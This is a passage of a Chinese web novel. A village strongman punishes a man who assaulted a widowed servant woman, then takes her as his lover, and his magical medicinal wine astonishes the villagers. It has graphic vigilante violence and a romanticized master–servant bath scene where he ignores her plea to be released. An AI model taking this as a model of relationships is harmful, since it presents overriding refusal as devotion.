江夜眼神瞬间冰冷,处理狼肉的动作戛然而止。
他“当”的一声将剔骨刀插在案板上,身影一闪,瞬间出了院门。
村口的小路上,已经围了一圈看热闹的村民。
江夜一眼就看到了人群中央的景象。
林间雪跌坐在地上,她身上的粗布衣衫被撕扯得不成样子,右臂的袖子被整个撕开,大半截雪白细腻的手臂暴露在空气中,与周围的肮脏形成了刺眼的对比。
她满脸泪痕,眼神空洞,抱着自己的肩膀,整个人都在绝望地瑟瑟发抖,像一只被暴雨淋透的雏鸟。
而在她面前,那个叫王大虎的男人,正满脸狞笑,搓着手,再次朝她伸出那只肮脏的爪子。
“嘿嘿,小娘们还挺烈,今天非要你……”
话音未落,一道黑影鬼魅般闪过。
王大虎只觉得手腕猛地一紧,仿佛被一把铁钳死死夹住,剧痛瞬间钻心。
“啊!”他痛呼一声,转过头,正对上江夜那双冰冷刺骨的眸子。
那眼神里,没有一丝一毫的感情,只有毫不掩饰的凛冽杀意。
王大虎的心猛地一寒,腿肚子都开始打颤,但常年耍无赖的本能让他色厉内荏地叫嚣起来:“你……你干什么!放手!这是我们王家的家务事,我教训我嫂子,关你屁事!”
他试图用伦理压人,“我哥**,她这个当嫂子的,拿点钱出来孝敬我这个小叔子,天经地义!你少多管闲事!”
江夜面无表情,仿佛根本没听到他的叫嚷。
他只是看着王大虎那只抓向林间雪的手,眼神里闪过一丝嫌恶。
手上,微微用力。
“咔嚓!”
一声清脆得让人头皮发麻的骨裂声,清晰地响彻在寂静的村口。
王大虎脸上的嚣张瞬间凝固,随即,整张脸因为极致的痛苦而扭曲成一团,五官都错了位。
“啊——!!!”
一声不似人声的惨嚎,猛地爆发出来,响彻整个稻花村。
王大虎抱着自己那只以诡异角度弯折的手腕,疼得满地打滚,鼻涕眼泪糊了满脸。
江夜却连看都懒得再看他一眼,他松开手,上前一步。
王大虎还没来得及从剧痛中反应过来,只觉得眼前一黑,一股巨力从天而降。
“砰!”
江夜一脚踩在他的脸上,将他的头颅死死地压进了路边的泥土里。
王大虎的惨叫瞬间变成了模糊不清的呜咽,满嘴都是泥腥味,窒息感和剧痛让他疯狂挣扎。
围观的村民们集体失声,那股从江夜身上散发出的杀气,像一只无形的大手,扼住了在场所有人的咽喉,让他们连呼吸都变得小心翼翼。
江夜的脚还踩在王大虎的脸上,微微碾动。
“林间雪,是我江家的人。”
“谁动她,就是动我江夜。”
“听懂了么?”
脚下的王大虎被那股恐怖的杀气和死亡的威胁吓得魂飞魄散,他感觉自己半张脸都麻了,口鼻里全是泥,几乎无法呼吸。
他疯狂地摇头,双手在地上乱刨,嘴里发出“呜呜呜”的声音,语无伦次地求饶。
“懂……懂了……江爷……我错了……我再也不敢了……饶命……饶命啊……”
那声音里充满了极致的恐惧,再也没有半分之前的嚣张。
江夜眼中的杀意缓缓收敛,他嫌恶地挪开了脚,居高临下地看着他,从喉咙里冷冷吐出一个字。
“滚。”
这一个字,对于王大虎来说,不亚于天籁。
他如蒙大赦,手脚并用地从地上爬起来,头也不回地逃离了村口,生怕跑慢一步,江夜就会改变主意。
闹剧收场,人群却依旧死寂。
江夜没有再看任何人一眼。
他转过身,走向那个依旧跌坐在地上,浑身颤抖的身影。
刚才还如同地狱修罗的他,此刻所有的暴戾和杀气都瞬间收敛得干干净净。
他默不作声地脱下自己身上还带着体温的外衫,弯下腰,动作轻柔地披在了林间雪的肩上,
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宽大的衣衫将她瘦弱而颤抖的身体完全包裹了起来,也遮住了那片刺眼的雪白和被撕破的衣衫。
一股混合着淡淡阳光味道的气息,瞬间将林间雪笼罩。
那温暖的布料,仿佛带着一股安抚人心的力量,让她那因为恐惧和**而冰冷的身体,终于有了一丝回暖。
林间雪缓缓抬起头。
泪眼婆娑中,她看到了江夜那张轮廓分明的脸。
他逆着光,表情依旧淡漠,但那双深邃的眸子里,却倒映着她狼狈的身影。
这一刻,在她眼中,他不再是那个高高在上的主家,也不是那个遥不可及的天神。
他是真实存在的,是为她挡开所有**和肮脏,将她从泥潭里拉出来的,唯一的光。
她的心脏,不受控制地狂跳起来,一下,又一下,撞击着胸膛,仿佛要从嗓子眼里跳出来。
江夜什么都没说。
他只是平静地蹲下身,将地上那个摔坏的木盆捡起来,然后又伸出手,将被王大虎打翻在地,沾满了尘土的衣物,一件一件地,捡回盆里。
他捡完了所有东西,站起身,一手端着木盆,另一只手伸向她。
“回家。”
简简单单两个字,却像一道惊雷,在林间雪的脑海中轰然炸响。
回家……
她有家吗?
被婆家赶出来,无处可去,**为奴……
可现在,这个男人对她说,回家。
林间雪的身体猛地一颤,她看着那只骨节分明的大手,迟疑了片刻,终是颤抖着,将自己冰凉的小手放了上去。
江夜的手心很暖,干燥而有力。
他轻轻一拉,便将她从冰冷的地面上拉了起来。
就这样,带着她朝着自家的方向走去。
林间雪低着头,紧紧地攥着身上那件属于他的外衫,鼻尖满是他的气息。
她的世界,仿佛瞬间缩小了。
再也看不到周围指指点点的人,再也听不到那些闲言碎语。
她的眼里,只剩下他宽阔的背影。
她的耳边,只回响着那句温柔的“回家”。
她的心里,被一种名为“安心”的情绪,填得满满当当。
第90章 我得去找他们拼命!
王大虎捂着自己断掉的手腕,一路哭爹喊娘地跑回了家。
正在屋里嗑瓜子的刘巧嘴被这动静吓了一跳,探出头来,一看到儿子那副惨状,嘴里的瓜子壳都忘了吐,发出一声尖叫。
“我的儿啊!你这是怎么了?哪个天杀的把你打成这样!”
刘巧嘴扔了手里的瓜子,扑到王大虎身边,看到他那只以诡异角度耷拉着的手腕,心疼得眼泪鼻涕一把抓。
王大虎脸上分不清是泪水还是汗水,他一把鼻涕一把泪地开始添油加醋地哭诉。
“娘!是那个**!林间雪那个**害我!”
他抽噎着,把事情完全颠倒了黑白:“我……我想着都是一家人,就想着找她借点钱周转周转……谁知道她翻脸不认人,一个子儿都不给,还……还勾结江夜那个野男人,让人打断了我的手!”
“什么?!”
刘巧嘴一听,瞬间就炸了。她猛地从地上站起来,双手叉腰,一双三角眼瞪得溜圆,满脸的褶子都因愤怒而抖动。
“反了她了!那个丧门星!白眼狼!克**我大儿子,现在还敢害我小儿子!我们王家是刨了她家祖坟了?让她这么祸害!”
她越骂越气,在院子里来回踱步,唾沫星子横飞。
“当初就不该让她进门!扫把星!狐狸精!得了几个臭钱,就忘了自己姓什么了!还有那个江夜,算个什么东西!不就是走了狗屎运打了个老虎吗?真当自己是山大王了!”
刘巧嘴骂得口干舌燥,怒火攻心之下,一撸袖子,就往外冲。
“不行!我得去找他们拼命!我今天就躺他江夜家门口,让全村的人都来看看,他们是怎么欺负我们孤儿寡母的!我让他们家不得安生!”
王大虎一看他娘这架势,吓得魂都快飞了,也顾不上疼了,连滚带爬地从地上起来,一把死死抱住刘巧嘴的大腿。
“娘!不能去啊!不能去!”他带着哭腔,声音里满是恐惧,“那个江夜……他会**的!他真的会**的!他刚才看我的眼神,就跟看**一样!你要是去了,他连你一块儿打!”
刘巧嘴往前冲的动作猛地一僵。
江夜的凶名,她当然是知道的。独闯黑风寨,单人猎杀异虎,前两天更是凭一己之力灭了整个狼群。这些事迹,早就传得神乎其神。
她刚才被怒火冲昏了头,此刻被儿子一提醒,那股杀气腾腾的劲儿瞬间就泄了。脑海里浮现出江夜那张冷漠的脸,一股凉气从脚底板直冲天灵盖。
满腔的怒火,顷刻间就化为了彻骨的惊恐。
但让她就这么算了,她又不甘心。
她站在原地,脸色青一阵白一阵,嘴里依旧不干不净地咒骂着:“天杀的……短命的……早晚有一天遭报应……”
她那双浑浊的眼睛里,怨毒的光芒闪烁不定,显然是在盘算着,该用什么更阴损的法子来报复。
……
江家小院。
当江夜拉着林间雪,端着那盆脏衣服走进院子时,正在廊下穿肉条的白梦夏和白梦秋同时抬起了头。
看清林间雪的模样时,姐妹俩脸上的笑容瞬间凝固了。
林间雪身上披着江夜宽大的外衫,头发散乱,脸上还挂着未干的泪痕,整个人像是被**摧残过的花朵,脆弱得仿佛一碰就碎。
“雪儿妹妹!”
“这是怎么了?”
姐妹俩又惊又怒,连忙放下手里的活,快步迎了上来。
她们绕过江夜,一左一右地扶住林间雪,当看到她被撕破的袖子和那惊惶无措的眼神时,还有什么不明白的。
白梦夏的眼中瞬间涌上怒意,但更多的是心疼。她没有多问,只是将林间雪冰凉的手握在自己温暖的掌心里,柔声安慰:“没事了,雪儿妹妹,已经没事了,我们回家了。”
白梦秋更是气得小脸通红。
姐妹俩将林间雪扶进了屋,按在床边的绣墩上坐下。
一进到这温暖而雅致的房间,隔绝了外界
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所有的目光,林间雪紧绷的神经终于再也撑不住了。
她看着眼前温柔似水的两位夫人,想起刚才在村口遭受的**,所有的委屈、恐惧、后怕,在这一刻全部交织在一起,化作决堤的泪水,汹涌而出。
她捂着脸,肩膀剧烈地耸动着,压抑了许久的哭声终于爆发出来,从一开始的呜咽,变成了嚎啕大哭。
她哭得那样伤心,仿佛要把所受的所有苦难,都在这一刻尽数发泄出来。
白梦夏和白梦秋没有劝她,只是静静地陪在她身边,一个轻轻地拍着她的后背,一个拿着手帕,温柔地为她擦拭着不断滚落的泪珠。
她们知道,这个时候,让她哭出来,比任何安慰的话语都管用。
哭了许久,林间雪的声音才渐渐小了下去,变成了断断续续的抽噎。
白梦秋转身去打了一盆热水,用干净的棉布浸湿,仔细地为她擦拭着脸上的泪痕和灰尘。
白梦夏则从柜子里取出了一套淡紫色碎花的细棉布衣裳,递到她的面前。
“雪儿妹妹,快把这身脏衣服换下来吧,这是我们前两天刚做的,你穿着肯定好看。”
林间雪抬起一双哭得红肿的眼睛,呆呆地看着那套干净柔软的衣裳,又看了看正蹲在身前,满眼心疼地为自己擦拭手背的白梦秋。
两位夫人,她们是那样的高贵美丽,如同天上的仙女,可她们却待自己如此亲近,没有半分嫌弃。
还有那个男人……
他当着全村人的面,说她是江家的人。
他说,谁动她,就是动他江夜。
一幕幕画面在脑海中闪过,一股前所未有的暖流,缓缓淌过她那颗早已千疮百孔的心。
她接过那套衣服,入手是柔软的触感,鼻尖是皂角和阳光的清香。
泪水,再一次不受控制地滑落下来。
只是这一次,不再是因为**和恐惧,而是因为一种她许久未体会过的,名为“温暖”和“感动”的情绪。
第91章 我不信命,我只相信我自己
夜晚,江家桌上的菜肴依旧丰盛。
狼肉炖得酥烂,香气四溢。
但与中午的狂欢不同,此刻的气氛带着一种别样的温馨与微妙。
白梦夏和白梦秋一左一右地坐在林间雪身边,不停地往她碗里夹着肉,口中轻声细语地安抚着。
“雪儿妹妹,多吃点,看你今天吓的。”
“对,这狼后腿肉最嫩,夫君特意留的。”
林间雪低着头,小口小口地扒拉着碗里的米饭,却有些食不知味,心乱如麻。
她的脑子里,一团乱糟糟的。
时而是江夜那如同天神降临般的身影。
时而画面又切换成他弯腰为自己披上外衫时的专注,和那句低沉而温柔的“回家”。
一个冰冷如杀神,一个温柔如臂膀。
两个截然不同的身影,在她脑海中不断交替,最终重叠成了饭桌对面那个沉默吃饭的男人。
她不敢抬头去看他,哪怕只是用眼角的余光。
她能感觉到,自己的脸颊像是被火烧一样,从脸蛋一直烫到了耳根。
心脏不争气地“怦怦”狂跳,每一次跳动,都让她觉得快要从嗓子眼里蹦出来了。
江夜倒是神色如常,他安然地吃着饭,偶尔给白梦夏和白梦秋夹一筷子菜,动作自然。
饭后,白梦夏和白梦秋几乎是同时打了个哈欠,相互对视一眼,都从对方眼中看到了笑意。
“夫君,我俩有些乏了,就先回房歇着了。”白梦夏扶着腰,脸上带着怀孕后的慵懒。
“雪儿妹妹,你慢慢吃。”白梦秋也跟着起身,临走前,还别有深意地冲林间雪眨了眨眼。
两位夫人一走,偌大的饭厅瞬间安静下来,也显得空旷了许多。
林间雪端着碗,手指捏得发白,心脏在胸腔里横冲直撞。
她当然明白那眼神的含义。
白天在房里,两位夫人已经把话暗示得足够清楚了。
她捏着筷子的手不自觉地收紧,指节都有些发白。
贝齿死死地咬着下唇,心中天人交战。
……
夜深人静。
江家新宅的浴室内。
水汽氤氲,将整个空间都笼罩在一片朦胧之中。
江夜靠在那个几乎能躺下两个人的巨大柏木浴桶里,双臂舒展地搭在桶沿上,闭着眼睛,享受着热水包裹全身的舒泰。
白天处理了那么多兽肉,确实有些乏了。
就在他昏昏欲睡之际,浴室的门被“吱呀”一声,极轻地推开了一道缝。
一道纤细的身影,端着一个放着干净衣物的木盘,像只受惊的小鹿般,悄无声息地溜了进来。
是林间雪。
她或许是刚沐浴过,身上带着一股皂角和女儿家特有的淡淡馨香。
她低着头,长长的睫毛紧张地颤动着,一张俏脸红得几乎要滴出血来。
她不敢看浴桶里的男人,只是走到浴桶边,将木盘放在一旁的架子上,然后直挺挺地跪了下来。
“主……主人……奴婢……奴婢伺候您沐浴。”
她的声音细若蚊蝇,带着显而易见的颤抖,在安静的浴室里却格外清晰。
江夜没有睁眼,也没有说话,仿佛睡着了一般。
林间雪跪在地上,等了半晌,也不见他有任何反应。她心中愈发紧张,咬了咬牙,拿起搭在桶边的一块干净棉布,浸湿了热水,小心翼翼地探过身去。
她开始为江夜擦拭后背。
他的后背宽阔而结实,肌肉线条流畅而充满力量感,皮肤在热水的浸润下,呈现出健康的古铜色。
当她微凉的指尖,隔着棉布,第一次触碰到他滚烫的肌肤时,林间雪的身体就像是触电一般,猛地一颤。
一股难以言喻的燥热,顺着她的指尖,瞬间传遍了全身。
她强忍着羞意和心慌,努力让自己的动作看起来平稳一些。
她仔仔细细地擦拭着,从他宽阔的肩膀,到结实的腰线,每一个动作都充满了恭敬与虔诚。
浴室里,只剩下哗哗的水声和她越来越急促的呼吸声。
就在她擦到他腰间时,一只滚烫的大手,毫无征兆地猛然抓住了她正在移动的手腕。
“啊!”
林间雪惊呼一声,整个人瞬间僵住,吓得魂都快飞了,手里的棉布“啪”地掉进了水里。
她僵硬地抬起头,正对上江夜不知何时睁开的双眼。
那双眸子在氤氲的水汽中,显得格外深邃,像是两个幽深的漩涡,带着一股不容抗拒的侵略性,要将她的灵魂都吸进去。
“主……主人……”她吓得声音都变了调,身体僵硬,一动也不敢动。
江夜没有说话,只是目光灼灼地看着她。
下一秒,他手腕猛地一用力。
林间雪只觉得一股巨大的力量传来,整个人重心失控,在一声短促的惊叫声中,不受控制地朝着浴桶里跌去。
“哗啦——!”
一声巨大的水响。
她整个人都跌进了滚烫的热水里,瞬间湿透。
温暖的池水瞬间包裹了她,而那身薄薄的细棉布衣裳,在浸湿之后,紧紧地贴在了她的身上,将她那丰腴浮凸的曲线,勾勒得淋漓尽致,毕露无遗。
她慌忙地想要站起来,手脚却在水中使不上力,反而因为挣扎,身体与浴桶中那个男人的距离更近了。
林间雪的身体彻底僵住,一股难以言喻的燥热,从每一寸接触的肌肤传来,让她几乎要晕厥过去。
泪水,毫无征兆地夺眶而出。
她声音里带着泣音,充满了绝望。
“主人……放开我……我……我是克夫的扫把星……我身子不干净……配不上您的……您放了我吧,我不想害了您……”
她哭得语无伦次,脑子里只剩下那句恶毒的诅咒。
克夫,不祥,谁沾上谁倒霉。
她的第一任丈夫,就是在娶了她不久后,上
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山打猎时摔死的。从那以后,她就成了人人避之不及的扫把星,被婆家赶出家门,受尽了白眼和欺凌。
江夜是神仙一般的人物,她怎么能,怎么敢去玷污他?她怎么敢拿他的性命去赌自己那虚无缥缈的幸福?
然而,江夜并没有如她所愿地放开她。
反而,那圈在她腰间的手臂,收得更紧了。
他将她整个人都不留一丝缝隙地搂在怀里。
一个低沉的声音,贴着她的耳廓,一字一句,清晰地响起。
“我不信命。”
林间雪的哭声一滞,整个人都僵住了。
只听那个声音继续在她耳边说道,带着一种不容置疑的霸道与强势。
“我只信我自己。”
江夜的手从她的腰间上移,捏住了她小巧的下巴,不容抗拒地将她的脸抬了起来,强迫她与自己对视。
林间雪被迫仰起头,泪眼婆娑中,她看清了他的脸。
那双眸子在氤氲的水汽中,亮得惊人,像是两个深不见底的漩涡。
“听着。”
“从今天起,你,就是我江夜的女人。”
林间雪的脑中轰然一响,仿佛有惊雷炸开。
所有的自卑、恐惧、**,还有那些关于“克夫”、“扫把星”的恶毒诅咒,在这一刻,被他这句霸道无比的宣言,击得粉碎。
她呆呆地看着江夜那双认真无比的眼眸,看着他眼中的坚定和不容置疑。
心中那道用自卑和恐惧筑起的高墙,在这一刻,彻底崩溃,土崩瓦解。
“呜……”
林间雪喉间发出一声压抑不住的呜咽,她再也控制不住自己,身体先于理智做出了反应。
她猛地伸出双臂,主动环住了江夜的脖子,仰起头,将自己那还在微微颤抖的红唇,笨拙而又坚定地,印了上去。
唇瓣相接的瞬间,冰凉与滚烫交织。
带着她泪水的咸涩,和一种从未有过的决绝。
江夜不再压抑,反客为主,化被动为主动,狠狠地吻了回去。
这个吻,充满了侵略性与占有欲,仿佛要将她整个人都吞噬殆尽。
林间雪被他吻得几乎要窒息,却没有任何退缩,反而更加用力地抱紧了他,仿佛一个即将溺水的人,抓住了唯一的浮木,用尽全身的力气,去回应他。
许久,唇分。
林间雪瘫软在江夜怀里,一张俏脸红得能滴出血来,眼角眉梢,却带上了一丝她自己都未曾察觉的妩媚风情。
江夜低头看着怀中娇媚无骨的美人,喉结滚动了一下。
下一秒,他手臂一用力,一个标准的公主抱,便将林间雪从浴桶中整个抱了起来,大步流星地走出了浴室,径直走向了林间雪的房间。
“砰”的一声。
房门被一脚踹开,又重重关上,将一室旖旎,尽数锁在了门内。
烛火摇曳,映照出窗纸上纠缠的人影。
这一夜,注定无眠。
第92章 开坛!酒香惊世!
时间一晃,又是数日过去。
这日,天气晴好,秋高气爽。
江夜掐指一算,那坛用异虎骨和诸多天材地宝酿下的神酒,今日正是开坛的吉时。
他不急不缓地将那个半人多高的巨大酿酒瓮,从角落的库房里搬到了院子正中。
江夜这边的动静,几乎是顷刻之间,就传遍了整个稻花村。
“听说了吗?江夜要开坛了!”
“就是他自己瞎捣鼓的那坛酒?”
“走走走,快去看看!我倒要瞧瞧,他把那些血灵芝、百年山参糟蹋成什么样了!”
田里干活的村民扔了锄头,家里做饭的妇人关了灶火,就连村头晒太阳的老汉都拄着拐杖,颤颤巍巍地跟了上去。
不过片刻功夫,江家那气派非凡的院门外,便已是黑压压的一片。
所有人都伸长了脖子,目光齐刷刷地投向院内。
王翠花自然不会错过这等看好戏的机会。她仗着自己身宽体胖,硬是从人群里挤出一条道,霸占了最前排的位置。她双手叉腰,嘴角撇着,脸上是毫不掩饰的幸灾乐祸。
“哼,我就说他是个败家子!好好的天材地宝,非要自己瞎折腾!等着吧,待会儿开坛,保管是一股子臭水味儿!”她唾沫横飞,声音不大不小,刚好能让周围一圈人都听得清清楚楚。
就在这时,人群自动分开一条路。
王守缸背着手,迈着四方步,慢悠悠地踱了过来。
他今日特意换了身干净的细布长衫,下巴微微抬起,一副世外高人的派头。
他瞥了一眼院子里的江夜,嘴角挂起一丝若有若无的冷笑,仿佛已经预见到了江夜惨败的结局。
“王师傅,您给说道说道,这小子能成吗?”有村民谄媚地问道。
王守缸清了清嗓子,拿足了腔调:“酿酒之道,博大精深。尤其是这虎骨酒,对火候、配方、时辰的要求更是严苛到了极点,差之毫厘,谬以千里。他一个毛头小子,以为靠着几件花里胡哨的工具就能酿出神仙玉液?简直是痴人说梦!暴殄天物啊!”
他摇头晃脑,一脸的痛心疾首,引得周围村民连连点头,看向江夜的眼神里,同情和惋惜又多了几分。
对于门外的一切喧嚣,江夜充耳不闻。
他神情淡然,仿佛院外那黑压压的人群和嗡嗡的议论声,都不过是秋日的几声蝉鸣。
他走到那巨大的陶瓮前,绕着看了一圈,满意地点了点头。
吉时已到。
江夜右掌抬起,对着那厚厚的封泥,轻描淡写地一掌拍下!
“啵”的一声闷响,像是熟透的果子被轻轻掰开。
封泥应声而裂,化作齑粉簌簌落下。
紧接着,不可思议的一幕发生了!
一股肉眼可见的、宛如实质的金色雾气,从瓮口袅袅升腾而起,散发着淡淡的宝光。
院门外,所有嘈杂的议论声,在这一刻戛然而止!
所有人都瞪大了眼睛,死死地盯着那团神异的金光,喉咙里像是被什么东西堵住,一个字也说不出来。
然而,这仅仅只是开始。
下一秒,一股无法用任何言语来形容的霸道香气,以那酒瓮为中心,轰然爆发!
这股香气,狂野、醇厚、霸道,仿佛拥有生命一般,瞬间席卷了整个院落,蛮横地冲出墙外,并以一种恐怖的速度,向着整个稻花村扩散而去。
刹那间,整个世界都安静了。
院门外,黑压压的人群,仿佛被施了定身法,集体石化。
所有人都保持着伸长脖子的姿势,脸上是如痴如醉的表情。
他们翕动着鼻子,如同嗅到仙草的麋鹿,贪婪地吸着空气中那每一缕香气。喉头不受控制地上下滚动,口水在不自觉间,已经泛滥
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成灾。
有那定力差的,甚至已经闭上了眼睛,脸上露出飘飘欲仙的神情,仿佛只是闻一闻这味道,三魂七魄都要离体飞升了。
“咕咚。”
不知是谁,实在忍不住,狠狠地咽了一口口水。
这声音在死寂的人群中,显得格外响亮。
王翠花脸上的幸灾乐祸,早已僵住,扭曲成了一个极其滑稽的表情。
她使劲地吸着鼻子,那股霸道的香味钻进肺里,让她浑身的肥肉都舒服得直哆嗦。
她想说点什么,可喉咙里除了“咕咚咕咚”的吞咽声,再也发不出任何声音。
而站在人群最前方的王守缸,更是如同被一道天雷劈中,整个人都傻了。
他脸上那倨傲的冷笑,寸寸龟裂,最后彻底垮塌。
“不……不可能……”
他嘴唇哆嗦着,从牙缝里挤出几个字,声音轻得只有他自己能听见。
“这……这是什么酒香?怎么可能……怎么可能会有这种酒香?”
作为浸淫此道数十年的酿酒师,他这辈子品过、酿过的酒没有一千也有八百。可他发誓,他从未闻过如此霸道、如此醇厚、如此富有层次感的酒香!
这已经不是凡间的酒了!
这他妈是天上的琼浆玉液!是神仙才能喝到的东西!
他之前断言江夜会把天材地宝变成一堆废料,可现在,人家不仅没糟蹋,反而将那些神物的药力,以一种他无法理解、无法想象的方式,完美地激发、融合,创造出了这等惊世骇俗的神酒!
一想到自己之前那副指点江山、信誓旦旦的“专家”模样,王守缸只觉得一张老脸像是被人用鞋底子左右开弓,狠狠地抽了几十个耳光。
火辣辣的疼!
羞愧、嫉妒、悔恨……种种情绪在他心中翻江倒海,让他那张布满褶子的老脸,瞬间涨成了猪肝色。
第93章 这酒,是神仙喝的!
院子里,江夜对门外的喧嚣置若罔闻。
他神情从容,拿起一个长柄木勺,探入瓮中,缓缓舀起一碗酒。
所有人的目光,都死死地钉在那只粗瓷大碗上。
只见碗中酒液,呈现出一种澄澈通透的琥珀色,粘稠得如同融化的琼脂。在秋日阳光的照射下,酒液表面竟流淌着一层淡淡的金色光晕,仿佛碗里盛着的不是酒,而是天上的玉液琼浆。
仅仅是看着,就让人忍不住口舌生津。
江夜端起碗,送到唇边,轻轻地抿了一口。
没有想象中的辛辣,入口绵柔,带着一股难以言喻的草木清香与醇厚酒香完美融合。
下一瞬,一股灼热的火线顺着他的喉咙直坠而下,瞬间在腹中轰然炸开!
那股热流,磅礴而浩瀚,却又温润无比,如同奔腾的江河,疯狂地冲刷着他的四肢百骸,涌向每一个角落。
身体的每一个细胞,都在这股暖流的滋养下,发出了贪婪而满足的欢呼。
一种前所未有的舒泰感传遍全身。
江夜能清晰地感觉到,自己那本就强悍的体魄,在这股力量的冲刷下,竟又有了微不可查的精进。
爽!
他长长地舒了一口气,脸上露出一个无比满足的表情。
这一幕,清晰地落在了院外所有人的眼中。
“不!不可能!”
王守缸死死地盯着江夜,那张涨成猪肝色的老脸因为激动而扭曲,像是被人扼住了喉咙,发出了嘶哑的尖叫。
“假的!都是假的!那绝对不是酒!只是样子货!闻着香,喝起来肯定是一泡尿!”
他完全无法接受眼前的事实。
他几十年的酿酒经验和骄傲,在这一刻**夜击得粉碎。
他宁愿相信这是江夜故弄玄虚,也不愿承认自己输给了一个毛头小子,输得一败涂地。
人群中,王翠花也从那醉人的酒香中回过神来。
她看着江夜那舒爽的表情,嫉妒得眼珠子都红了。
她立刻跳出来附和:“对!王师傅说得对!他肯定是装的!哪有酒是那个颜色的?金灿灿的,别是下了什么**吧!”
这话一出,周围的村民也开始窃窃私语,看向江夜的眼神又带上了几分犹疑。
毕竟王守缸是村里公认的酿酒师傅,他的话还是有几分分量的。
王翠花见状,眼珠子一转,一巴掌拍在自己丈夫王大壮的后背上。
“你,过去!替大伙儿尝尝,看看那酒是不是真的!”
王大壮被拍得一个趔趄,脸上有些犹豫。
“翠花,这……这不好吧?”
“有什么不好的!让你去你就去!”王翠花拧着他的耳朵,压低了声音,“你个蠢货,没闻到那香味吗?万一是真的呢?这可是天大的便宜!快去!就说帮他验验酒,他还能不给你喝?”
王大壮一听,再闻着那勾魂的香味,心里的那点犹豫瞬间被贪婪取代。
他搓着手,舔着一张脸,从人群里挤了出来,凑到江夜家院门口,谄媚地笑道:“江夜兄弟,你这酒……看着是真不赖。不过大伙儿都信不过,要不,我帮你尝一口?我这舌头灵,是好是坏,一尝便知!”
江夜端着碗,仿佛根本没听到他的话,连眼皮都未曾抬一下。
他目光淡然地扫过院外那一张张或贪婪、或嫉妒、或怀疑的脸
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,最终,落在了人群后方的两个人身上。
江峰和王囤。
他们没有像其他人一样挤在最前面,只是远远地站着,看着院内的江夜,眼中没有贪婪,只有纯粹的震惊和发自内心的替他高兴。
江夜的嘴角,勾起一抹淡淡的弧度。
他对着那两人,淡然地招了招手。
“大哥,王囤哥,你们进来。”
声音不大,却清晰地传遍了整个嘈杂的院门口。
全场瞬间一静。
王大壮那谄媚的笑容僵在脸上,伸着脖子,像一只等着喂食的鸭子,尴尬到了极点。
所有人的目光,都齐刷刷地越过他,投向了人群后方的江峰和王囤。
江峰和王囤两人都是一愣。
在周围无数道羡慕的几乎要喷出火来的目光注视下,两人对视一眼,既忐忑又激动,拨开人群,一步步走进了江家大院。
“江夜兄弟……”
“小夜……”
两人走进院子,看着江夜,激动得都有些不知道该说什么。
江夜没多言,转身从一旁拿了两个干净的小瓷杯,用木勺从瓮中舀出两杯酒。
那琥珀色的酒液在小小的瓷杯中荡漾着金光,更显得珍贵无比。
他将酒杯递给二人。
“尝尝。”
江峰和王囤看着眼前的酒杯,闻着那近在咫尺的霸道酒香,感觉脑子都有些发晕。
他们双手颤抖着接过那小小的瓷杯,那模样,仿佛接过的不是一杯酒,而是什么稀世珍宝。
两人不约而同地看向江夜,重重地点了点头。
他们没像江夜那样细品,而是仰起头,一口就将杯中酒闷了下去!
第94章 力能扛鼎!
酒液入喉,江峰和王囤的脸,瞬间涨成了深红色。
“唔!”
两人不约而同地发出一声闷哼,脖子上青筋暴起,额头汗珠滚滚而下。
下一刻,一股肉眼可见的白色蒸汽,从他们头顶和全身毛孔中蒸腾而出。
院门外的村民们看得目瞪口呆,不少人吓得后退了一步。
“这……这是怎么了?”
“莫不是真喝了**?”
王翠花眼中闪过一丝快意,刚想张嘴说风凉话,却见场中两人的表情变得无比古怪。
那是一种极致痛苦与极致舒爽交织在一起的神情。
他们牙关紧咬,身体微微颤抖,但紧锁的眉头却在缓缓舒展,嘴角甚至不受控制地向上扬起。
江峰只觉得一股霸道无匹的火线,从喉咙一路烧到丹田,然后轰然炸开,化作无数条滚烫的暖流,疯狂地冲向四肢百骸。当一股暖流涌入他常年隐隐作痛的右肩时,一阵钻心的酥麻感传来。
这是他早年打猎时,被野猪撞伤留下的旧疾,每逢阴雨天便酸痛难忍,发力时更是力不从心。
可就在那阵酥麻感达到顶点的瞬间,却又如潮水般退去,取而代之的,是一种前所未有的轻松与通透。
那困扰了他数年之久的沉重与酸痛,消失得无影无踪!
江峰愣住了,他试探性地活动了一下右肩。
“咔吧……咔吧……”
一阵细密的骨骼脆响传来,他下意识地一缩脖子,但预想中的疼痛并未出现。他再次加大力度,猛地挥动了一下手臂。
呼!
手臂带起一阵劲风,动作流畅,充满了**性的力量感!
好了!
全好了!
江峰的眼睛瞬间瞪得像铜铃,他不敢置信地看着自己的肩膀,又挥舞了几下,那种久违的、毫无滞涩的畅快感,让他整个人都陷入了巨大的骇然之中!
另一边,王囤的感受同样震撼。
他常年干重活,腰背早已劳损,站久了就酸,弯腰久了就直不起来。可此刻,他只觉得一股沛然巨力从后腰的命门处轰然升起,沿着脊椎一路向上,瞬间贯通全身!
那些长年累月积攒下来的疲惫、酸痛、沉重,在这股力量的冲刷下,如同阳光下的积雪,顷刻间消融殆尽。
他感觉自己仿佛年轻了二十岁,浑身上下充满了使不完的劲!
他下意识地一握拳,筋骨齐鸣,一股**性的力量感从掌心传来,让他产生了一种能一拳打死一头牛的错觉!
两人对视一眼,都从对方眼中看到了同样的、无以复加的震惊与狂喜。
这哪里是酒?
这分明是脱胎换骨的仙丹!
院门外,死一般的寂静。
所有人都傻傻地看着场中判若两人的江峰和王囤,看着他们脸上那无法掩饰的狂喜,再闻着空气中那愈发勾魂夺魄的酒香,喉咙里“咕咚咕咚”的吞咽声此起彼伏。
王大壮还保持着伸长脖子的姿势,口水顺着嘴角流下都未曾察觉,眼中满是贪婪与悔恨。
王翠花脸上的肌肉不停抽搐,嫉妒的火焰几乎要从眼睛里喷出来,她狠狠地在王大壮的腰间拧了一把,疼得王大壮龇牙咧嘴,却连屁都不敢放一个。
而站在人群最前方的王守缸,此刻的脸色,已经不能用难看来形容。
那是一种信念崩塌后的死灰。
他浑身都在发抖,嘴唇哆嗦着。
“不可能……这不合常理……”
“虎骨性燥,灵芝性温,山参补气……如此多的至阳至刚之物混在一起,没有独门秘方中和,只会相互冲突,炸了药性……怎么可能……怎么可能酿出这等神物?”
“假的……一定是障眼法!对,是障眼法!”
他像是抓住了最后一根救命稻草,疯了似的指着江峰和王囤。
“你们!你们是和他串通好的!你们在演戏!”
这话一出,村民们又一次动摇了。
毕竟,喝口酒就能让旧伤痊愈,力气大增,这事听起来比说书先生嘴里的故事还玄乎。
江峰是个老实人,不善言辞,被当众污蔑,一张脸涨成了猪肝色,你了半天也说不出一句完整的话来。
